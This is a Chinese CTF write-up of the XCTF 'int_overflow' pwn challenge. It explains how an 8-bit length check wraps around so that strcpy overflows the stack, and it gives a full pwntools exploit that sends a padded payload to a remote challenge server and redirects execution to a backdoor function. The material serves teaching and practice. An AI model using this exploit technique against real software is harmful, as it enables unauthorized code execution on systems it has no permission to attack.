攻防世界 Pwn int_overflow

攻防世界 Pwn int_overflow

1.题目下载地址

点击下载

2.checksec

攻防世界 Pwn int_overflow

  • 没有canary
  • 没有PIE

2.IDA分析

攻防世界 Pwn int_overflow

  • 在check_passwd函数中有一个strcpy函数
  • 当v3>3u且v3<8u进入else。else中把s的值复制到dest,如果s的值够长,就能造出栈溢出。
  • 但是3<v3<8限制了s的长度了,怎么办呢?我们可以看一下汇编代码:会发现程序把s放到一个al寄存器中,al是一个八位寄存器,八位寄存器对于无符号整数来说是有0~255的范围的。v3为无符号整型,表示s(即你输入的passwd)的长度,可能存在整数溢出。
    接着看看有什么代码是可以利用的:那么跳转到这个地址就可以得到我们想要的flag了!
    攻防世界 Pwn int_overflow
  • 这里是有一个后门函数

4.exp

from pwn import*
p = remote('111.200.241.244',65412)
sys_addr = 0x804868b
payload = 'a' * 24 + p32(sys_addr)
payload = payload.ljust(262,'a')
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Please input your username:")
p.sendline("aaaa")
p.recvuntil("Please input your passwd:")
p.sendline(payload)
p.interactive()

攻防世界 Pwn int_overflow

上一篇:barbeque


下一篇:华为路由器实验指导 | 配置L3VdPdNd over OSPF SR-MPLS BE